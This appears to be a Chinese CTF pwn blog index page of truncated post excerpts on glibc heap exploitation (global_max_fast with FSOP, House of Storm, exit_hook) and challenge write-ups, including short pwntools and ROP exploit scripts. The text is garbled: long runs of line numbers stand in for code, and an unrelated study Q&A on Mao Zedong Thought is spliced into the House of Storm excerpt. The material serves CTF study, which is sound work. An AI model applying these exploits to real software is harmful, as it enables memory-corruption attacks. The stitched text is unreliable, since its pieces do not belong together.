io之global_max_fast+fsop
#堆中global_max_fast相关利用改写global_max_fast为一个较大的值,然后释放一个较大的堆块时,由于fastbins数组空间是有限的,其相对偏移将会往后覆盖,如果释放堆块的size可控,就可实现往fastbins数组(main_arena)后的任意地址写入所堆块的地址。计算偏移的方式:
123fastbin_ptr=libc_base+libc.symbols['main_arena']+8idx=(target_addr-fastbin_ptr)/8size=idx*0x10+0x20
#FSOP
12345if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; }
mode偏移0xc0IO_wr ...
all刷题记录
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220 ...
house of storm加setcontest利用
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291.毛泽东思想形成和发展的社会条件是什么?答:(1)20世纪前中期世界和中国政局的变动,是毛泽东思想产生和形成的时代背景。(2)毛泽东思想的产生和形成,是近现代中国社会和革命运动发展的客观需要和历史产物。(3)新的社会生产力的增长和工人运动的发展,为毛泽东思想的产生和形成提供了物质基础。(4)新文化运动的兴起和马克思列宁主义的传人与传播,为毛泽东思想的产生和形成准备了思想理论条件。3.如何科学认识毛泽东思想的历史地位?答:毛泽东思想是马克 ...
house of storm
漏洞危害House_of_storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm 虽然危害之大,但是其条件也是非常的苛刻。
漏洞利用条件
glibc版本小于2.30,因为2.30之后加入了检查
需要攻击者在 large_bin 和 unsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
需要 unsorted_bin 中的 bk指针 可控
需要 large_bin 中的 bk指针和bk_nextsize 指针可控
*1*|***1***原理及源码分析
漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析。
1234567891011121314151617181920212223242526272829303132333435363738394041 ...
部分pwn
atoi64ida打开,main函数f5
只有一个输入,只要满足判断条件即可提权
而要满足判断条件很简单(atoi函数可以搜一下),输入501#501#即可(其中#号可以换成其他字符)
boundaryida32打开,分析结果如下:
蛇很简单,撞墙之后会提示try Q;然后再次连接,生成地图后输入q即可提权。(英文看不懂的自己翻译)
白给的random源码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657#include<stdio.h>#include<stdlib.h>int main(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); int j=0; puts("Please enter your seed."); put ...
arm or mips
arm——gdb调试静态32:1qemu-arm -g 1212 文件名
再另起窗口
123gdb-multiarch #启动gdb-multiarchpwndbg> set arch arm #设置程序架构为arm架构pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口
dasWP
就出了两道题,hahapwn还是赛后出的,难受
hehepwn思路泄露libc_base + rop
hahapwn这个题非常离谱,禁用了execve,一开始我用本地的libc.so.6能打通本地(并且read、write也能用)然后用它给的libc结果就打不通了,主要是因为他给的libc中的read、write函数不能用,elf文件只有puts能用,不能用sys_write思路是格式化字符串泄露canary + libc + stack,然后,rop进行orw
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from pwn import *p = remote("node4.buuoj.cn",25546)libc = ELF("./libc.so.6")#context.log_level = "debug"''& ...
09-13————09-15
羊城杯复现BabyRop有溢出,有system,有/cin/sh(只用sh即可)。
exp:1234567891011from pwn import*context.log_level='debug'r=process('./BabyRop')#r=remote('192.168.40.244',11000)elf=ELF('./BabyRop')gdb.attach(r)p='a'*28+'b'*4+p32(0x80490a4)+p32(1)+p32(0x804C029) #system #shr.sendline(p)r.interactive()
nologinmain函数
主要看sub_400f87这个函数
这里注意v1,然后看sub_40095d函数
看出可以溢出,但只能溢出16个字节。
可以直接改返回地址为read_plt,将内容写到 ...
exit_hook
以前只接触过malloc_hook,free_hook,大概意思就是在调用malloc和free的时候会先看看里面有没有东西,有的话就会执行。以前在看一些师傅们博客的时候有看到过exit_hook,前几天就研究了一下,这篇来做个总结。
首先我们自己写一个程序,调试一下exit是怎么执行的。
12345671 #include<stdio.h>2 3 void main()4 {5 printf("bhxdn\n");6 exit(0);7 }
在第六行下断点看一下。
这里可以看到是执行了__run_exit_handlers。进入这个函数,看看它调用了哪些函数。
这里显示其中调用的一个函数,是_dl_fini。这里为了方便看,我们直接看_dl_fini的关键源码。
123456789101112131415161718 1 #ifdef SHARED 2 int do_audit = 0; 3 again: 4 #endif 5 for (Lmid_t ns = GL ...